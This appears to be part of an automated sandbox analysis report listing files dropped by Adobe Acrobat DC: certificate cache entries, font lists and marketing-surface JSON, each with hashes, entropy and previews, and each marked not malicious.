Preview:	.... .c.....>A/6...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklWKvPtfllXlE/HT8k0/hlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKPKvPeT8bzdNMa8RdWBwRd
MD5:	336BC27B774404D17D6362E4A9904D59
SHA1:	460858A55527FCB934A7FD0F2353AAF6D217F7A7
SHA-256:	DACEB197FBBA13C921041FF91CD887AF9177B7849A8555E2A00CA6807076B1C8
SHA-512:	C772ADEAEAE75D562F7414A93AD600288A0D56FCC86214FB6ECB3574AF45FD629E0D643F017EB8C593CF8A994CFD466469F81E46CA4B35278A03910315AC99BF
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W.....u..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.230363263825508
Encrypted:	false
SSDEEP:	6:kKFlPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:t9iDImsLNkPlE99SNxAhUe/3
MD5:	E8DA3CB63ECE928AB38EED3D56A9431D
SHA1:	8303665DFF5B5A1263436E7F6E19DCAC9EC97D39
SHA-256:	45FC3C191647D147C609462E5DD074FCCB2B7A6C6F2F6DFEE1EF2CA3AD1B5138
SHA-512:	05B3958961A7234E619F8D269F4B4F861D049D49BC778A47DB728DE2DD210ACA15325893E4B730E43FCD48AB5507AA8EF3457CF0DA8E6DC50829CE6B8E6FBAA3
Malicious:	false
Preview:	p...... ........o....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5268

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5268

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.355259691626252
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJM3g98kUwPeUkwRe9:YvXKXktUclcjVGMbLUkee9
MD5:	F830867A742E9805FCA4982398D643BE
SHA1:	4102749CA8713D2CAABEA2F51D1BB4003F7B5789
SHA-256:	94211CC7412BEF5963FC4783911E00F842A41B5AB83524C5AE9421BAB3C6AD33
SHA-512:	71088D6854C23FD87FE5078D084DD9BD8FBF4E2C27BD12C2E5CF9C8436366FE6E8E2252ACB17C7CF861326E33C91981DCD4E932370C28A9D77D2622611019A60
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304636346812174
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJfBoTfXpnrPeUkwRe9:YvXKXktUclcjVGWTfXcUkee9
MD5:	8544CE0B5823945DE38CEA5D61BCC00C
SHA1:	38878DDAA2A1FBD9C5BDECEDA4A1F50666EF9D7D
SHA-256:	071ACB85CE621A22ABACDA1DEB3E6D93339D72B13B7DA8AE6B82C0B37697CAB6
SHA-512:	9B41BD7B016231FD79CD8948C4C10D86297C96060140AE9D048970174155046C0DC0198AB9815924FB97419EA9C813443D6F7767729AFCF3C24B1CD5EE1AD220
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284162529886207
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJfBD2G6UpnrPeUkwRe9:YvXKXktUclcjVGR22cUkee9
MD5:	1D92F4276430288C8298B2A2B15FD78B
SHA1:	5871A398484D1B7DB84061EF9B070A3692F601B4
SHA-256:	BB4E713CD991510CBF6FB2329886EA9095103CF17DC37C0E878DE393DF23CDFF
SHA-512:	E85C7C51A3D9BC0A8D2E8D1B0821D8C55488567A6EB20D8C01A0FBD4F7C30AD30702FE43D4AE0EEFEE88AD90A79DBF75774E0DBA0F29D00BE1CBED3C1C426E70
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.334997927125594
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJfPmwrPeUkwRe9:YvXKXktUclcjVGH56Ukee9
MD5:	C525276732CDC56C63102570D39B3455
SHA1:	5F3CEA3DF50EE4B45A1C808EDFA062577E67D9B7
SHA-256:	F305BD3E00EDE581FF6F4A52743F0CCA1AC9599B6EA64D1EFAD23900BAADB668
SHA-512:	34B5649F27E695EBA737F30D3375EBACBCDC532924E550C0096A28882356C060F0C20AF1609370533AF027AF04DF951AC9A86BD9D65A4BABE4A16C8E52C1EBD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691446841026123
Encrypted:	false
SSDEEP:	24:Yv6XUlc+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSV:YvxZhgy6SAFv5Ah8cv/V
MD5:	EB4278C2F03333C9A273C990BD08367D
SHA1:	FF4DD0B4956ADAEFFC8081E44368198FE2727E0D
SHA-256:	572A69D2B7A661A9C1E8722B0A30E66BD069F90745CE08999FA4D7E79AC1B542
SHA-512:	3343DF4F2FD96FE5CE08CD4BFBFDEE8EB84EEFF963C5ED944C5A0C14199BE1012048A125F517346E231B323022165697BA98E5ECCB206C8DEA5B73A45BD7E52A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284695274780235
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJf8dPeUkwRe9:YvXKXktUclcjVGU8Ukee9
MD5:	7C07E09C564FEBA5CA9D384EE5DE6079
SHA1:	2DF83370EFAA3ACA454A429DA2E10B8351B367B2
SHA-256:	C56C42EC1D5EC64985A15F415A6AAAAF16F45A32E32BD95F77B5ADFD8F31B00F
SHA-512:	A09B2A345AFF651C1881F4DEA5FA5EFFB0C4051D0EC1A13790EF1FF0C5889A5495828933FF1642E6AE341FF20AFCFFBD351F3E9FD39D75986073F80BFE2F6736
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.286660984192455
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJfQ1rPeUkwRe9:YvXKXktUclcjVGY16Ukee9
MD5:	F08CBED0B7DE4E3DFFE66DAE34DCA9F0
SHA1:	6FDB44FED0CF93B3154D69B1E922DD92672DC5E1
SHA-256:	155CEE545CFC3CCD1A2A2774F6CC5884C088497F167764437E0FE129C6F1822B
SHA-512:	410AA2FC57430B53E226F188D182A5CA9CE0CC4BD5E6EDA8F4D0B7AEEE31AA27DF4E4A89BC01CA4B3A6EC6A7E3C23BAA5673A4D73CA53796F30496FB998DDC05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29568494543109
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJfFldPeUkwRe9:YvXKXktUclcjVGz8Ukee9
MD5:	D199071329337FAECC60F0FC6426EE7D
SHA1:	508BF6538E584767F450BE8D5E87C4E5D53FE311
SHA-256:	D40F67F1E7C70E8CC6635176293C1472498CEBD41FFFDC2B95EEEE42694F5714
SHA-512:	BF4BDD2BAFB9986C9293A9DB94B2C65A1414C43655824BCF1C3ADA883AAEBA64CB852EA9B9E1E2669EEB65F45EED43D08208C9AAB40C170AF0DC087E8BA70546
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5089cdf6-9314-4e09-9f0e-6e48af6e6512","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736748827758,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3109517516062414
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/pIztUnZiQ0Y+cjeoAvJfzdPeUkwRe9:YvXKXktUclcjVGb8Ukee9
MD5:	11F139094853B7A32C0153180E6E5CCD
SHA1:	9B443FDA344FB7C59785CB93C41B0B0E7EB5CB10
SHA-256:	F92774C11EC4605D17B72DF812CB4E1006DF06E902DD7A46C64E37827F8EAA0C
SHA-512:	67886F3E2AC974DA1CA46DCF48044510E37784A56701593E2A2884902640342D07B2F381C198205D39507462A1F91A2C9D69216F1701D616932B689BE2FC35A9
Malicious:	false
